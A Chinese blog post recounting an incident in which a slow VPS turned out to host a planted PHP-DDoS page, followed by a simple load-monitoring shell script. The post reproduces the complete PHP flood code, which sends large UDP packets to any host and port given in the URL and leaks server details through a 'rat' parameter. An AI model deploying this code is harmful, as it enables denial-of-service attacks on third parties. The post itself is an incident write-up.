近日,一个朋友的服务器响应非常慢,并且经常出现无法访问的情况,此时查看CPU,两核的VPS最疯狂的时候LOAD达到了将近100,通过W看,不是APACHE占用量最大,把服务器关掉恢复正常,重启一会儿又是这样;此时查看管理界面查看网络流量,每秒会有近10M的发送。刚开始以为是访问的用户增多导致的,通过NETSTAT查看80端口同时在线人数,也不多,就几十个,查看COOKIE LOG,增长的速度也不是太快,心想肯定是中招了。
于时立即把iftop装上,通过iptop查看,其中有个IP显示流量超高,达到每秒7、8M,就是它了,它这个IP抓出来,到COOKIE LOG去GREP一下,终于找到了这个IP访问的页面,一看是一个陌生的页面,里面放的就是PHP-DDOS的攻击代码:
<?php set_time_limit(999999); $host = $_GET['host']; $port = $_GET['port']; $exec_time = $_GET['time']; $Sendlen = 65535; $packets = 0; ignore_user_abort(True); if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){ if (StrLen($_GET['rat'])<>0){ echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat']; exit; } echo "Warning to: opening"; exit; } for($i=0;$i<$Sendlen;$i++){ $out .= "A"; } $max_time = time()+$exec_time; //提示: www.haoddos.com 是骗子 请谨慎。 while(1){ $packets++; if(time() > $max_time){ break; } $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5); if($fp){ fwrite($fp, $out); fclose($fp); } } echo "Send Host:$host:$port<br><br>"; echo "Send Flow:$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " . round($packets*$Sendlen/1024/1024, 2) . " mb<br><br>"; echo "Send Rate:" . round($packets/$exec_time, 2) . " packs/s;" . round($packets/$exec_time*$Sendlen/1024/1024, 2) . " mb/s"; ?>
立马把这个文件进行了转移,服务器的LOAD立马就下来了,访问也正常了。
平时太大意了,以为是个人网站就没有太多的花时间在上面,查看文件创建时间,居然是去年11月份,也就是说这个文件已经存在了半年了,难怪当时连换几家服务器服务商都是用不了多久就访问变慢了,当时心理面还在埋怨这些服务商,哎,当时怎么就没有细查呢。
后面准备先采用简单的处理方式,对CPU的LOAD进行监控,实现原理就是写一个SHELL,定时的去抓LOAD情况,然后网站目录下面的一个文件中,以便于随便可以查看,这样在出现问题的时候,能够比较早的知道。脚本很简单,就做了两件事情,获取LOAD以及在LOAD超标的时候,重启APACHE,也放在这里吧:
#!/bin/bash currentDate=`date` cpuload=`w|grep load|awk -F"," '{print $3}'|awk -F": " '{print $2}'`; #if [ "$cpuload" -gt "3" ]; then echo "$currentDate, Current load is :$cpuload<br>" >> /webdir/load.txt; if [ `echo "$cpuload > 3" | bc` -eq 1 ]; then echo "cpuload is great than 3, then restart apache" >> /webdir/load.txt; /opt/lampp/lampp restartapache; fi
本文出自:冯立彬的博客